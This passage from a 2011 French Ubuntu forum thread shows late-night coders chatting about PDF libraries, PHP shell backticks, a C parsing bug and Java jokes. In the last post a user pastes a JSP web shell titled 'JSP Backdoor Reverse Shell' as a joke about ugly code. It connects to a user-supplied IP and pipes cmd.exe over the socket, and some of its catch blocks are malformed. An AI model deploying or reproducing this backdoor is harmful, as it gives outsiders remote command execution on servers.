Contenu | Rechercher | Menus

Annonce

Si vous rencontrez des soucis à rester connecté sur le forum (ou si vous avez perdu votre mot de passe) déconnectez-vous et reconnectez-vous depuis cette page, en cochant la case "Me connecter automatiquement lors de mes prochaines visites".

#51 Le 07/06/2011, à 22:53

Kanor

Re : /* Topic des codeurs couche-tard [5] */

la génération des pdf en général c'est pas humain.
Et ça existe aussi des truc comme tu montre en exemple dans python mais on peux trouver des système de template pour rendre la chose presque gérable.
http://www.rubyinside.com/the-state-of- … -3408.html

(sinon pour python je conseil ça c'est pas mal
http://www.jondesign.net/2010/06/creer- … n-reports/ )

Hors ligne

#52 Le 07/06/2011, à 22:59

The Uploader

Re : /* Topic des codeurs couche-tard [5] */

J'ai vu ces bibliothèques (wickedPDF, PDFKit, Prawn) au cours de mes recherches d'une alternative, mais je pense qu'elles seront interessantes à mettre en place à partir d'un nombre/complexité critique de PDFs à générer... (là j'en ai que deux à faire, que j'ai mis dans une seule fonction paramètrable, laquelle est dans un module, donc pour le moment c'est gérable). wink

edit: bonne nuit. wink

Dernière modification par The Uploader (Le 07/06/2011, à 23:00)


Passer de Ubuntu 10.04 à Xubuntu 12.04 LTS. Attention au bug de USB Creator ! Il vaut mieux graver Xubuntu sur un CD ou DVD.
--
Archlinux/Xfce sur ASUS N56VV, Mes PKGBUILDs sur l'AUR

Hors ligne

#53 Le 07/06/2011, à 23:42

:!pakman

Re : /* Topic des codeurs couche-tard [5] */

C'est le ftp officiel de gnu ? :
http://ftp.gnu.org


...

Hors ligne

#54 Le 07/06/2011, à 23:46

grim7reaper

Re : /* Topic des codeurs couche-tard [5] */

Bah ça y ressemble fortement en tout cas smile

Hors ligne

#55 Le 07/06/2011, à 23:46

tshirtman

Re : /* Topic des codeurs couche-tard [5] */

aujourd'hui j'ai recopié et proprisé énormément un programme fournis par notre prof de réseau, qui au moins a conscience de ne pas maitriser php, j'ai souffert, mais j'ai appris un truc horrible, en php `commande` execute "commande" dans le shell sous jacent... du coup ce fondu de awk s'est fait plaisir...

<?php
$hostname = "192.168.8.13";
$community = "public";
$tab = array(1, 2, 3, 5, 12, 21, 25);
$nom = array('winserver', 'brother', 'portable', 'lenon', 'cp1515n', 'R1', 'lienSuperieur');
$count = 7;
$basecommand = 'snmpget -v 1 -c '.$community.' -m IF-MIB '.$hostname;
$sysDescr = `$basecommand system.sysDescr.0 | awk /Version/`;
$sysLocation = `$basecommand system.sysLocation.0 | awk -F 'STRING:' '{print $2}'`;
$sysContact = `$basecommand system.sysContact.0 | awk -F 'STRING:' '{print $2}'`;
$sysUpTime = `$basecommand system.sysUpTime.0 |awk -F 'Timeticks:' '{print $2}'`;
?>
< html>
<head>
<title>$hostname</title>
<style type='text/css'>
.tab {
    font-weight: bold;
    width: 600px;
}
</style>
</head>

<body>
<table class='tab1'>
<tr><td>--------------</td><td></td></tr>
<tr><td>hostname</td><td><?= $hostname ?></td></tr>
<tr><td>community</td><td><?= $community ?></td><tr>
<tr><td>--------------</td><td></td></tr>
<tr><td>sysDescr</td><td><?= $sysDescr ?></td></tr>
<tr><td>sysLocation</td><td><?= $sysLocation ?></td></tr>
<tr><td>sysContact</td><td><?= $sysContact ?></td></tr>
<tr><td>sysUpTime</td><td><?= $sysUpTime ?></td></tr>
<tr><td>--------------</td><td></td></tr>
</table>
<?php
$basecommand = 'snmpwalk -v 1 -c '.$community.' -m IF-MIB '.$hostname;

`$basecommand ifDescr > /tmp/Descr`;
`$basecommand ifOperStatus > /tmp/OperStatus`;
`$basecommand ifOutOctets > /tmp/Out`;
`$basecommand ifInOctets > /tmp/In`;
?>
<table class='tab1'>
<th> . Usage . </th>
<th> . Port . </th>
<th> . Etat . </th>
<th> . in . </th>
<th> . out . <th>
<tr><td>----------</td><td>------------</td><td>-----------</td><td>-----------</td><td>-----------</td></tr>

<?php
for ($i=0; $i < $count; $i++)
{
    $j=$tab[$i];
    print "<tr>";
    $descr=`grep "r.$j " /tmp/Descr | awk -F' ' '{printf ($4)}'`;
    $stateb=`grep "us.$j " /tmp/OperStatus > /tmp/state `;
    $states=`cat /tmp/state | cut -d ':' -f 4 | cut -d '(' -f 1`;
    $staten=`awk -F ' (' '{print $2}' /tmp/state | awk -F ')' '{print $1}'`;
    $out=`awk -F ':' '/ets.$j / {print $4}' /tmp/Out | awk -F ' ' '{print $1}'`;
    $in=`awk -F ':' '/ets.$j /{print $4}' /tmp/In | awk -F ' ' '{print $1}'`;
    ?>
    <td><?= $nom[$i] ?></td>
    <td><?= $descr ?></td>
    <td style="color: <?= (strstr($states, "down")) ? 'red' : 'green' ?>;"><?= $states ?></td>
    <td><?= $in ?></td>
    <td><?= $out ?></td>
    </tr>
    <?

}
?>
</table>
</body>
</html>

ça faisait longtemps que j'avais pas fait du php...

marrant, pour que ce post passe, il a fallut que j'ajoute un espace dans le tag < html>

Dernière modification par tshirtman (Le 07/06/2011, à 23:51)

Hors ligne

#56 Le 07/06/2011, à 23:58

:!pakman

Re : /* Topic des codeurs couche-tard [5] */

grim7reaper a écrit :

Bah ça y ressemble fortement en tout cas smile

Me rappelait plus que c'était en .org tongue c'était pourtant évident, merci !

Dernière modification par :!pakman (Le 07/06/2011, à 23:59)


...

Hors ligne

#57 Le 08/06/2011, à 00:31

nesthib

Re : /* Topic des codeurs couche-tard [5] */

plop

Dernière modification par nesthib (Le 08/06/2011, à 01:00)


GUL Bordeaux : GirollServices libres : TdCT.org
Hide in your shell, scripts & astuces :  applications dans un tunnelsmart wgettrouver des pdfinstall. auto de paquetssauvegarde auto♥ awk
  ⃛ɹǝsn xnuᴉꞁ uʍop-ǝpᴉsdnGMT-4

Hors ligne

#58 Le 08/06/2011, à 00:35

Elzen

Re : /* Topic des codeurs couche-tard [5] */

Hmm, il faudra que quelqu'un d'autre que moi teste pour me donner son avis, mais à première vue, ça ne rend pas trop trop mal, ce truc…

J'viens de refaire mon visualiseur d'état de batterie : plutôt qu'une série limitée d'images [plein, 80%, 60%, 40%, 20%, vide], j'ai mis une seule image, mais qui se recolore à chaque modif d'état.

Ça démarre en 0x00FF00 à 100%, et jusqu'à 50% de décharge, je laisse le vert à fond et j'ajoute de plus en plus de rouge. Une fois arrivé à 50% (donc à 0xFFFF00), le rouge reste à fond et c'est maintenant le vert qui diminue, jusqu'à 0xFF0000 pour 0%.

Bon, ça pourrait (ou pas) être encore plus la classe si on voyait en plus de ça le contenu de l'icône se vider dynamiquement aussi, mais j'ai largement pas le niveau.

Dernière modification par ArkSeth (Le 08/06/2011, à 00:36)


Elzen : polisson, polémiste, polymathe ! (ex-ArkSeth)
Un script pour améliorer quelques trucs du forum.
La joie de t'avoir connu surpasse la peine de t'avoir perdu…
Parolier amateur cherche partenaires pour musique libre (avec « et plus si affinités », c'est plus poli).

Hors ligne

#59 Le 08/06/2011, à 00:56

Pylades

Re : /* Topic des codeurs couche-tard [5] */

Bon, je crois qu’on peut le dire : je n’aime pas du tout manipuler des chaînes.


tshirtman a écrit :

[…]
marrant, pour que ce post passe, il a fallut que j'ajoute un espace dans le tag < html>

Mais à part ça, FluxBB ne cesse de s’améliorer… roll


“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
                Linus Torvalds – 12 janvier 2003

Hors ligne

#60 Le 08/06/2011, à 01:29

cm-t

Re : /* Topic des codeurs couche-tard [5] */

'Nuit;


Actu Ubuntu            ☺/
Démo Ubuntu
Pauses Ubuntu sur Paris            \_< -t
[(π)] La Quadrature du net

Hors ligne

#61 Le 08/06/2011, à 02:10

Кຼزດ

Re : /* Topic des codeurs couche-tard [5] */

plop


dou

Hors ligne

#62 Le 08/06/2011, à 03:00

Pylades

Re : /* Topic des codeurs couche-tard [5] */

Oh que oui, je déteste manipuler les chaînes.

Je croyais être arrivé à quelque chose de fonctionnel, mais en fait non, j’ai un bug.


Oui ce code est parfaitement ignoble, j’en conviens, mais il semblait fonctionner…

/*
 *  pylCLFB: the command-line file browser, by Pyl
 *  Copyright (C) 2011 Paul (…)
 *
 *  This file is part of pylCLFB.
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <string.h>
#include "cut.h"

static char* translate_fname(register char*);
static char escape_translate(char);

char cut_words(char* line, struct code* argl)
{
    register char* s=line;
    argl->first=NULL;
    argl->second=NULL;
    argl->op=NULL;
    while (*s++ == ' ');
    if (*--s == '\0')
        return 0;
    argl->first = s;
    s = translate_fname(s);
    if (!s++)
        return 0;
    while (*s++ == ' ');
    if (*--s == '\0')
        return 0;
    argl->op = s;
    while (*s++ != ' ');
    if (*--s == '\0')
        return 0;
    else
        *s++ = '\0';
    while (*s++ == ' ');
    if (*--s == '\0')
        return 0;
    argl->second = s;
    s = translate_fname(s);
    if (!s++)
        return 0;
    while (*s++ == ' ');
    if (*--s != '\0')
        return 1;
    return 0;
}

static char* translate_fname(register char* s)
{
    register char* t=s;
    while (*++s != ' ')
    {
        if (!*s)
            return NULL;
        if (*s == '\\')
        {
            if (strchr(" \\abfnrtv", *++s))
                *++t = escape_translate(*s);
            else
            {
                *++t = '\\';
                *++t = *s;
            }
        }
        else
            *++t = *s;
    }
    *++t = '\0';
    return s;
}

static char escape_translate(char esc)
{
    switch (esc)
    {
        case ' ': return ' ';
        case '\\': return '\\';
        case 'a': return '\a';
        case 'b': return '\b';
        case 'f': return '\f';
        case 'n': return '\n';
        case 'r': return '\r';
        case 't': return '\t';
        case 'v': return '\v';
    }
    return '\0';
}

“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
                Linus Torvalds – 12 janvier 2003

Hors ligne

#63 Le 08/06/2011, à 06:49

grim7reaper

Re : /* Topic des codeurs couche-tard [5] */

Hello World!

@Pylade : j'essayerais de regarder ça ce soir en rentrant, si tu n'as pas trouvé d'ici là (d'ailleurs, c'est quoi le problème ?).

Par contre je déconseille d'utiliser register, tu emmerdes le compilo plus qu'autre chose (et donc tu risques de pourrir les perf, sauf si le compilateur que tu utilises le traite comme inline : il l'ignore et il t'emmerde, il prend juste ça comme un souhait et le fait si ça lui convient).
Je pense pas que tu fasses mieux que lui au niveau allocation de registre (coloration de graphe et analyse de flots), d'autant plus sur une archi type Intel avec son faible nombre de registres >_<. Si cette variable est vraiment très utilisé, il la mettra lui-même.

Dernière modification par grim7reaper (Le 08/06/2011, à 06:52)

Hors ligne

#64 Le 08/06/2011, à 07:42

Compteur du TdCCT

Re : /* Topic des codeurs couche-tard [5] */

Scores totaux, depuis le début :

1) 3437    nesthib
2) 3070    samuncle
3) 2913    Pylade
4) 2189    Кຼزດ
5) 1703+5  grim7reaper /* ./viewtopic.php?pid=3486252#p3486252 */
6) 1673    cm-t
7) 1298    na kraïou
8) 866    helly
9) 862    \\Ouranos//
10) 659    gnuuat
11) 595    tshirtman
12) 565    Lagierl
13) 429    Rolinh
14) 358    nathéo
15) 355    The Uploader
16) 263    Kanor
17) 196    Askelon
18) 179    :!pakman
19) 121    ǤƦƯƝƬ
20) 99    kamui57
21) 93    petifrancais
22) 78    edge_one
22) 78    pierguiard
24) 70    gulp
25) 42    sakul
26) 39    Le Rouge
27) 37    ilagas
28) 34    xapantu
29) 30    keny
30) 26    gustare
30) 26    d10g3n
32) 25    GentooUser
32) 25    Morgiver
34) 24    ไ୦บเઢ'
34) 24    Steap
36) 20    CROWD
37) 18    Ph3nix_
38) 16    kouskous
39) 15    timsy
40) 12    stratoboy
40) 12    sailing
42) 11    alexises
42) 11    Crocoii
44) 10    Toineo
44) 10    NutMotion
44) 10    pseudovingtcinqcaracteres
44) 10    pfriedZ
44) 10    CasseTaTele
44) 10    Zeibux
44) 10    THS`
51) 8    Mornagest
52) 7    Vista
53) 6    ubuntlin
53) 6    asma.geek
55) 5    tendances-tdct
55) 5    kinouchou
57) 4    danychou56
57) 4    Neros
57) 4    Biaise
57) 4    totoflute
57) 4    pinballyoda ㋛
57) 4    NLS le pingouin
57) 4    ceric
57) 4    Dice-Man
65) 3    Revan26914
65) 3    raspouillas
65) 3    sweetly
68) 2    SoJaS
69) 1    geenux
69) 1    ArzhurBZH

RépartitionPosts/heure


Codez-vous trop tard le soir ?
Demandez au Compteur du TdCCT pour le savoir !

J’ai été généreusement codé par tshirtman ; d’ailleurs, voici mon code source. TdCCT CEP : ./viewtopic.php?pid=3493579#p3493579 (p3492608).

Hors ligne

#65 Le 08/06/2011, à 07:42

Compteur du TdCCT

Re : /* Topic des codeurs couche-tard [5] */

Scores de la période en cours :

1) 70    Pylade
2) 37    Кຼزດ
3) 36    cm-t
4) 33    nesthib
5) 27    samuncle
6) 22    tshirtman
7) 19    na kraïou
8) 13    :!pakman
9) 10    Rolinh
9) 10    nathéo
9) 10    grim7reaper
12) 7    The Uploader
13) 4    \\Ouranos//
13) 4    kamui57
15) 1    xapantu

Codez-vous trop tard le soir ?
Demandez au Compteur du TdCCT pour le savoir !

J’ai été généreusement codé par tshirtman ; d’ailleurs, voici mon code source. TdCCT CEP : ./viewtopic.php?pid=3493579#p3493579 (p3492608).

Hors ligne

#66 Le 08/06/2011, à 09:24

tshirtman

Re : /* Topic des codeurs couche-tard [5] */

@pylade: cela dit, apparement, ça vient plus d'un soucis de config de nante que de fluxbb tongue

Hors ligne

#67 Le 08/06/2011, à 12:39

Pylades

Re : /* Topic des codeurs couche-tard [5] */

grim7reaper a écrit :

Hello World!

@Pylade : j'essayerais de regarder ça ce soir en rentrant, si tu n'as pas trouvé d'ici là (d'ailleurs, c'est quoi le problème ?).

Oh, pas de soucis, je trouverai (enfin j’espère). C’est juste que j’aivait vite corrigé le premier bug ; et que pour le second j’avais envie d’aller dormir.


grim7reaper a écrit :

Par contre je déconseille d'utiliser register, tu emmerdes le compilo plus qu'autre chose (et donc tu risques de pourrir les perf, sauf si le compilateur que tu utilises le traite comme inline : il l'ignore et il t'emmerde, il prend juste ça comme un souhait et le fait si ça lui convient).
Je pense pas que tu fasses mieux que lui au niveau allocation de registre (coloration de graphe et analyse de flots), d'autant plus sur une archi type Intel avec son faible nombre de registres >_<. Si cette variable est vraiment très utilisé, il la mettra lui-même.

Moi non plus je ne suis pas fan à la base, mais vu le nombre de code qui réclarent en register pour ce genre de situation, je me dis que ça doit bien être utile à quelque chose… Par exemple je lui dis que je ne chercherai jamais à récupérer l’adresse de cette variable, même s’il peut peut-être s’en rendre compte lui-même (surtout que ces fonctions ne sont pas non plus trop compliquées). Ouais, je ne suis pas sûr de laisser le register.


“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
                Linus Torvalds – 12 janvier 2003

Hors ligne

#68 Le 08/06/2011, à 13:14

tshirtman

Re : /* Topic des codeurs couche-tard [5] */

Vu le nombre de gens qui font de l'assembleur par ce que c'est plus rapide que le C, ça doit bien servir à quelque chose tongue

Hors ligne

#69 Le 08/06/2011, à 13:31

Le Rouge

Re : /* Topic des codeurs couche-tard [5] */

J'ai fini ma documentation \o/ Je commençais à en avoir ma claque ^^


C'est deux suites de Cauchy qui veulent aller à la soirée 'no limit'. Hélas, à l'entrée le videur leur dit : "désolé, c'est complet !".
mon site perso (π²/6.fr) et mon blog

Hors ligne

#70 Le 08/06/2011, à 13:31

Pylades

Re : /* Topic des codeurs couche-tard [5] */

Sauf que j’ai vu ça dans des projets sérieux. tongue

(Je doute que les mecs de Gnu soient mauvais en C ; même si leur code est illisible.)


Le Rouge a écrit :

J'ai fini ma documentation \o/ Je commençais à en avoir ma claque ^^

La documentation c’est bien, mangez-en. Sauf que ouais, au bout d’un moment, c’est lourd ; mais ça peut être rigolo aussi, avec cette merveille qu’est Doxygen.

Dernière modification par Pylade (Le 08/06/2011, à 13:34)


“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
                Linus Torvalds – 12 janvier 2003

Hors ligne

#71 Le 08/06/2011, à 14:22

Le Rouge

Re : /* Topic des codeurs couche-tard [5] */

Bon, vu que ça fait un moment que je suis pas venu, je me dois de lancer un troll :

le troll du jour a écrit :

Java, leBien ou leMal ?


C'est deux suites de Cauchy qui veulent aller à la soirée 'no limit'. Hélas, à l'entrée le videur leur dit : "désolé, c'est complet !".
mon site perso (π²/6.fr) et mon blog

Hors ligne

#72 Le 08/06/2011, à 14:41

Pylades

Re : /* Topic des codeurs couche-tard [5] */

Le mal. tongue


“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
                Linus Torvalds – 12 janvier 2003

Hors ligne

#73 Le 08/06/2011, à 14:42

The Uploader

Re : /* Topic des codeurs couche-tard [5] */

Le Mal Absolu.

Il suffit de regarder du côté du JEE (notamment les EJBs) pour s'en convaincre... tongue

Dernière modification par The Uploader (Le 08/06/2011, à 14:42)


Passer de Ubuntu 10.04 à Xubuntu 12.04 LTS. Attention au bug de USB Creator ! Il vaut mieux graver Xubuntu sur un CD ou DVD.
--
Archlinux/Xfce sur ASUS N56VV, Mes PKGBUILDs sur l'AUR

Hors ligne

#74 Le 08/06/2011, à 15:21

Elzen

Re : /* Topic des codeurs couche-tard [5] */

Java, ç't'un langage qui partait d'une bonne idée, qui a du potentiel, mais qui cumule juste les défauts des langages compilés à ceux des langages interprétés.

Et puis les trucs dérivés de Java, genre JSP et compagnie, 'faut être motivé, quoi…


Elzen : polisson, polémiste, polymathe ! (ex-ArkSeth)
Un script pour améliorer quelques trucs du forum.
La joie de t'avoir connu surpasse la peine de t'avoir perdu…
Parolier amateur cherche partenaires pour musique libre (avec « et plus si affinités », c'est plus poli).

Hors ligne

#75 Le 08/06/2011, à 15:30

The Uploader

Re : /* Topic des codeurs couche-tard [5] */

code JSP bien crade (présentation et métier ensemble, syntaxe ultra moche..) :

//kaMtiEz .jsp
< %@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
< %!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;

StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}

public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;

try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));

char buffer[] = new char[8192];
int lenRead;

while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)

try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
% >

<h1>JSP Backdoor Reverse Shell</h1>

<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>

< %
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");

if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");

StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());

StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());

outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
% >

Charlton Heston commente les JSPs:

You maniacs, you blew it up!! Ah, damn you! God damn you all to Hell!!

Dernière modification par The Uploader (Le 08/06/2011, à 15:36)


Passer de Ubuntu 10.04 à Xubuntu 12.04 LTS. Attention au bug de USB Creator ! Il vaut mieux graver Xubuntu sur un CD ou DVD.
--
Archlinux/Xfce sur ASUS N56VV, Mes PKGBUILDs sur l'AUR

Hors ligne

Haut de page ↑